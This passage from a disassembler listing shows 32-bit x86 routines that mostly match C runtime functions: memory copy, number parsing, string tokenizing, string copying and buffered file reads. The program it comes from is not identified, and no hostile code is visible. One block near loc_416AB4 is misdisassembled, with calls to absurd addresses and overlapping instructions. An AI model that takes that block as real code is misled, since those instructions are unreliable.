loc_4165C8:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4165D0:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4165DC:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4165F0:				; CODE XREF: sub_416470+35j
					; sub_416470+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416608:				; CODE XREF: sub_416470+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41663C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_416630
		std
		rep movsd
		cld
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416630:				; CODE XREF: sub_416470+1B1j
					; sub_416470+208j ...
		neg	ecx
		jmp	ds:off_416700[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41663C:				; CODE XREF: sub_416470+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416654
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_416654+4[eax*4]
; ---------------------------------------------------------------------------


loc_416654:				; CODE XREF: sub_416470+1D6j
					; DATA XREF: sub_416470+1DDr
		jmp	ds:off_416750[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416667+1
		dd offset loc_416688
; ---------------------------------------------------------------------------
		mov	al, 66h
		inc	ecx


loc_416667:				; DATA XREF: sub_416470+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_416630
		std
		rep movsd
		cld
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_416688:				; DATA XREF: sub_416470+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_416630
		std
		rep movsd
		cld
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_416630
		std
		rep movsd
		cld
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416704
		dd offset loc_41670C
		dd offset loc_416714
		dd offset loc_41671C
		dd offset loc_416724
		dd offset loc_41672C
		dd offset loc_416734
off_416700	dd offset loc_416747	; DATA XREF: sub_416470+1C2r
; ---------------------------------------------------------------------------


loc_416704:				; DATA XREF: sub_416470+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41670C:				; DATA XREF: sub_416470+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_416714:				; DATA XREF: sub_416470+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41671C:				; DATA XREF: sub_416470+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_416724:				; DATA XREF: sub_416470+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41672C:				; DATA XREF: sub_416470+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_416734:				; DATA XREF: sub_416470+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_416747:				; CODE XREF: sub_416470+1C2j
					; DATA XREF: sub_416470:off_416700o
		jmp	ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416750	dd offset loc_416760	; DATA XREF: sub_416470+1B7r
					; sub_416470:loc_416654r ...
		dd offset loc_416768
		dd offset loc_416778
		dd offset loc_41678C
; ---------------------------------------------------------------------------


loc_416760:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416768:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416778:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41678C:				; CODE XREF: sub_416470+1B7j
					; sub_416470:loc_416654j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_416470	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167A5	proc near		; CODE XREF: sub_404DF9+34p
					; sub_404DF9+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415DBB
		pop	ecx
		pop	ecx
		retn
sub_4167A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167B3	proc near		; CODE XREF: sub_416820+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_46AAD4
		call	sub_41AC28
		mov	edx, ds:dword_46AAD4
		pop	ecx
		mov	ecx, ds:dword_46AAD0
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_416812
		push	edx
		call	sub_41AC28
		add	eax, 10h
		push	eax
		push	ds:dword_46AAD4
		call	sub_4174BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4167F5
		retn
; ---------------------------------------------------------------------------


loc_4167F5:				; CODE XREF: sub_4167B3+3Fj
		mov	ecx, ds:dword_46AAD0
		sub	ecx, ds:dword_46AAD4
		mov	ds:dword_46AAD4, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_46AAD0, ecx


loc_416812:				; CODE XREF: sub_4167B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_46AAD0, 4
		retn
sub_4167B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_404EE6+1Ap
					; sub_4200CE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4167B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_416820	endp


; =============== S U B	R O U T	I N E =======================================



sub_416832	proc near		; DATA XREF: seg002:00423018o
		push	80h
		call	sub_415DA9
		test	eax, eax
		pop	ecx
		mov	ds:dword_46AAD4, eax
		jnz	short loc_416853
		push	18h
		call	sub_417BCE
		mov	eax, ds:dword_46AAD4
		pop	ecx


loc_416853:				; CODE XREF: sub_416832+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_46AAD4
		mov	ds:dword_46AAD0, eax
		retn
sub_416832	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416861	proc near		; CODE XREF: sub_416A69+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_416879:				; CODE XREF: sub_416861+46j
		cmp	ds:dword_437F4C, 1
		jle	short loc_416891
		movzx	eax, bl
		push	8
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_4168A0
; ---------------------------------------------------------------------------


loc_416891:				; CODE XREF: sub_416861+1Fj
		mov	ecx, ds:off_437D40
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4168A0:				; CODE XREF: sub_416861+2Ej
		test	eax, eax
		jz	short loc_4168A9
		mov	bl, [esi]
		inc	esi
		jmp	short loc_416879
; ---------------------------------------------------------------------------


loc_4168A9:				; CODE XREF: sub_416861+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_4168B7
		or	[ebp+arg_C], 2
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------


loc_4168B7:				; CODE XREF: sub_416861+4Ej
		cmp	bl, 2Bh
		jnz	short loc_4168C2


loc_4168BC:				; CODE XREF: sub_416861+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_4168C2:				; CODE XREF: sub_416861+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_416A59
		cmp	eax, 1
		jz	loc_416A59
		cmp	eax, 24h
		jg	loc_416A59
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41690A
		cmp	bl, 30h
		jz	short loc_4168F4
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_416926
; ---------------------------------------------------------------------------


loc_4168F4:				; CODE XREF: sub_416861+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_416907
		cmp	al, 58h
		jz	short loc_416907
		mov	[ebp+arg_8], 8
		jmp	short loc_416926
; ---------------------------------------------------------------------------


loc_416907:				; CODE XREF: sub_416861+97j
					; sub_416861+9Bj
		mov	[ebp+arg_8], ecx


loc_41690A:				; CODE XREF: sub_416861+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_416926
		cmp	bl, 30h
		jnz	short loc_416926
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41691E
		cmp	al, 58h
		jnz	short loc_416926


loc_41691E:				; CODE XREF: sub_416861+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_416926:				; CODE XREF: sub_416861+91j
					; sub_416861+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_416936:				; CODE XREF: sub_416861+16Cj
		cmp	ds:dword_437F4C, 1
		movzx	esi, bl
		jle	short loc_41694E
		push	4
		push	esi
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_416959
; ---------------------------------------------------------------------------


loc_41694E:				; CODE XREF: sub_416861+DFj
		mov	eax, ds:off_437D40
		mov	al, [eax+esi*2]
		and	eax, 4


loc_416959:				; CODE XREF: sub_416861+EBj
		test	eax, eax
		jz	short loc_416965
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_416997
; ---------------------------------------------------------------------------


loc_416965:				; CODE XREF: sub_416861+FAj
		cmp	ds:dword_437F4C, 1
		jle	short loc_416979
		push	edi
		push	esi
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_416984
; ---------------------------------------------------------------------------


loc_416979:				; CODE XREF: sub_416861+10Bj
		mov	eax, ds:off_437D40
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_416984:				; CODE XREF: sub_416861+116j
		test	eax, eax
		jz	short loc_4169D2
		movsx	eax, bl
		push	eax
		call	sub_41AC51
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_416997:				; CODE XREF: sub_416861+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4169D2
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_4169BC
		jnz	short loc_4169B6
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_4169BC


loc_4169B6:				; CODE XREF: sub_416861+147j
		or	[ebp+arg_C], 4
		jmp	short loc_4169C5
; ---------------------------------------------------------------------------


loc_4169BC:				; CODE XREF: sub_416861+145j
					; sub_416861+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_4169C5:				; CODE XREF: sub_416861+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_416936
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_416861+125j
					; sub_416861+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4169F0
		test	edx, edx
		jz	short loc_4169EA
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4169EA:				; CODE XREF: sub_416861+181j
		and	[ebp+var_8], 0
		jmp	short loc_416A3D
; ---------------------------------------------------------------------------


loc_4169F0:				; CODE XREF: sub_416861+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_416A16
		test	cl, 1
		jnz	short loc_416A3D
		and	ecx, 2
		jz	short loc_416A0D
		cmp	[ebp+var_8], 80000000h
		ja	short loc_416A16


loc_416A0D:				; CODE XREF: sub_416861+1A1j
		test	ecx, ecx
		jnz	short loc_416A3D
		cmp	[ebp+var_8], eax
		jbe	short loc_416A3D


loc_416A16:				; CODE XREF: sub_416861+197j
					; sub_416861+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_469464, 22h
		jz	short loc_416A2C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_416A3D
; ---------------------------------------------------------------------------


loc_416A2C:				; CODE XREF: sub_416861+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_416A3D:				; CODE XREF: sub_416861+18Dj
					; sub_416861+19Cj ...
		test	edx, edx
		jz	short loc_416A46
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_416A46:				; CODE XREF: sub_416861+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_416A54
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_416A54:				; CODE XREF: sub_416861+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_416A64
; ---------------------------------------------------------------------------


loc_416A59:				; CODE XREF: sub_416861+66j
					; sub_416861+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_416A62
		mov	[eax], edi


loc_416A62:				; CODE XREF: sub_416861+1FDj
		xor	eax, eax


loc_416A64:				; CODE XREF: sub_416861+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416861	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A69	proc near		; CODE XREF: sub_4053ED+4BDp
					; seg000:00410478p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416861
		add	esp, 10h
		retn
sub_416A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A80	proc near		; CODE XREF: sub_4053ED+266p
					; sub_4053ED+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_415CD0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AD1D
		add	esp, 10h
		leave
		retn
sub_416A80	endp

; ---------------------------------------------------------------------------


loc_416AB4:				; CODE XREF: sub_4053ED+4Ep
		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp-10h]
		push	eax
		call	ds:dword_42105C
		lea	eax, [ebp-20h]
		push	eax
		call	near ptr 58ECB9D6h
		jnz	short loc_416B38
		mov	eax, [ebp-16h]
		cmp	ax, ds:word_46945A
		jnz	short loc_416B19
		mov	ax, [ebp-18h]
		cmp	ax, ds:word_469458
		jnz	short loc_416B19
		mov	ax, [ebp-1Ah]
		cmp	ax, ds:word_469456
		jnz	short loc_416B19
		mov	ax, [ebp-1Eh]
		cmp	ax, ds:word_469452 ; CODE XREF:	seg000:00416B32j
		jnz	short loc_416B19
		mov	ax, [ebp-20h]
		cmp	ax, ds:word_469450
		jnz	short loc_416B19
		mov	eax, ds:dword_469448 ; CODE XREF: seg000:loc_416B38j
		jmp	short loc_416B5E
; ---------------------------------------------------------------------------


loc_416B19:				; CODE XREF: seg000:00416ADCj
					; seg000:00416AE9j ...
		lea	eax, [ebp-0CCh]
		push	eax
		call	near ptr 717E4F67h
		add	dword ptr [ebx+1B74FFF8h], 7502F883h
		adc	ah, [esi-7Dh]
		jge	short near ptr loc_416AFC+6
		add	[ebx+ecx-7Dh], dh


loc_416B38:				; CODE XREF: seg000:00416AD0j
		jge	short near ptr loc_416B12+4
		add	[ebp+eax+6Ah], dh
		add	[eax-15h], ebx
		pop	es
		xor	eax, eax
		jmp	short loc_416B49
; ---------------------------------------------------------------------------
		or	eax, 0FFFFFFFFh


loc_416B49:				; CODE XREF: seg000:00416B44j
		push	esi
		push	edi
		lea	esi, [ebp-20h]
		mov	edi, offset word_469450
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	ds:dword_469448, eax
		pop	esi


loc_416B5E:				; CODE XREF: seg000:00416B17j
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		call	sub_41B7CE
		mov	ecx, [ebp+8]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_416B8E
		mov	[ecx], eax

locret_416B8E:				; CODE XREF: seg000:00416B8Aj
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B90	proc near		; CODE XREF: sub_406C22+30Ep
					; sub_406C22+447p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416BB4
		xor	eax, eax
		jmp	loc_416C5D
; ---------------------------------------------------------------------------


loc_416BB4:				; CODE XREF: sub_416B90+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416BC7
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416BD3
; ---------------------------------------------------------------------------


loc_416BC7:				; CODE XREF: sub_416B90+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416BD3
; ---------------------------------------------------------------------------


loc_416BD0:				; CODE XREF: sub_416B90+C4j
		mov	ecx, [ebp+arg_0]


loc_416BD3:				; CODE XREF: sub_416B90+35j
					; sub_416B90+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416C05
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416C05
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416BEA
		mov	edi, eax


loc_416BEA:				; CODE XREF: sub_416B90+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4155B0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416C50
; ---------------------------------------------------------------------------


loc_416C05:				; CODE XREF: sub_416B90+49j
					; sub_416B90+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416C38
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416C1B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_416C1B:				; CODE XREF: sub_416B90+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41B969
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416C62
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416C68
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416C50
; ---------------------------------------------------------------------------


loc_416C38:				; CODE XREF: sub_416B90+78j
		push	esi
		call	sub_41B890
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416C6C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_416C50:				; CODE XREF: sub_416B90+73j
					; sub_416B90+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416BD0
		mov	eax, [ebp+arg_8]


loc_416C5D:				; CODE XREF: sub_416B90+1Fj
					; sub_416B90+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416C62:				; CODE XREF: sub_416B90+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416C6C
; ---------------------------------------------------------------------------


loc_416C68:				; CODE XREF: sub_416B90+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_416C6C:				; CODE XREF: sub_416B90+B2j
					; sub_416B90+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416C5D
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C78	proc near		; CODE XREF: seg000:00405DB9p
					; seg000:004063C3p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_416C91:				; CODE XREF: sub_416C78+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_416C91
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_416CB9
		mov	edx, ds:dword_469460


loc_416CB9:				; CODE XREF: sub_416C78+39j
					; sub_416C78+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_416CD9
		test	al, al
		jz	short loc_416CD9
		inc	edx
		jmp	short loc_416CB9
; ---------------------------------------------------------------------------


loc_416CD9:				; CODE XREF: sub_416C78+58j
					; sub_416C78+5Cj
		mov	ebx, edx


loc_416CDB:				; CODE XREF: sub_416C78+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_416CFF
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_416CFB
		inc	edx
		jmp	short loc_416CDB
; ---------------------------------------------------------------------------


loc_416CFB:				; CODE XREF: sub_416C78+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_416CFF:				; CODE XREF: sub_416C78+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_469460, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_416C78	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D20	proc near		; CODE XREF: seg000:00406548p
					; seg000:004072C8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416DA3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416D44
		shr	ecx, 2
		jnz	short loc_416DB1
		jmp	short loc_416D65
; ---------------------------------------------------------------------------


loc_416D44:				; CODE XREF: sub_416D20+1Bj
					; sub_416D20+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416D72
		test	al, al
		jz	short loc_416D7A
		test	esi, 3
		jnz	short loc_416D44
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416DB1


loc_416D60:				; CODE XREF: sub_416D20+8Fj
		and	ebx, 3
		jz	short loc_416D72


loc_416D65:				; CODE XREF: sub_416D20+22j
					; sub_416D20+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416D9E
		dec	ebx
		jnz	short loc_416D65


loc_416D72:				; CODE XREF: sub_416D20+2Bj
					; sub_416D20+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416D7A:				; CODE XREF: sub_416D20+2Fj
		test	edi, 3
		jz	short loc_416D94


loc_416D82:				; CODE XREF: sub_416D20+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416E16
		test	edi, 3
		jnz	short loc_416D82


loc_416D94:				; CODE XREF: sub_416D20+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E07


loc_416D9B:				; CODE XREF: sub_416D20+7Fj
					; sub_416D20+F4j
		mov	[edi], al
		inc	edi


loc_416D9E:				; CODE XREF: sub_416D20+4Dj
		dec	ebx
		jnz	short loc_416D9B
		pop	ebx
		pop	esi


loc_416DA3:				; CODE XREF: sub_416D20+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416DA9:				; CODE XREF: sub_416D20+A9j
					; sub_416D20+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416D60


loc_416DB1:				; CODE XREF: sub_416D20+20j
					; sub_416D20+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416DA9
		test	dl, dl
		jz	short loc_416DFB
		test	dh, dh
		jz	short loc_416DF1
		test	edx, 0FF0000h
		jz	short loc_416DE7
		test	edx, 0FF000000h
		jnz	short loc_416DA9
		mov	[edi], edx
		jmp	short loc_416DFF
; ---------------------------------------------------------------------------


loc_416DE7:				; CODE XREF: sub_416D20+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416DFF
; ---------------------------------------------------------------------------


loc_416DF1:				; CODE XREF: sub_416D20+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416DFF
; ---------------------------------------------------------------------------


loc_416DFB:				; CODE XREF: sub_416D20+ADj
		xor	edx, edx
		mov	[edi], edx


loc_416DFF:				; CODE XREF: sub_416D20+C5j
					; sub_416D20+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416E11


loc_416E07:				; CODE XREF: sub_416D20+79j
		xor	eax, eax


loc_416E09:				; CODE XREF: sub_416D20+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416E09


loc_416E11:				; CODE XREF: sub_416D20+E5j
		and	ebx, 3
		jnz	short loc_416D9B


loc_416E16:				; CODE XREF: sub_416D20+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416D20	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E1E	proc near		; CODE XREF: sub_406C22+2E2p
					; sub_406C22+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416E9A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
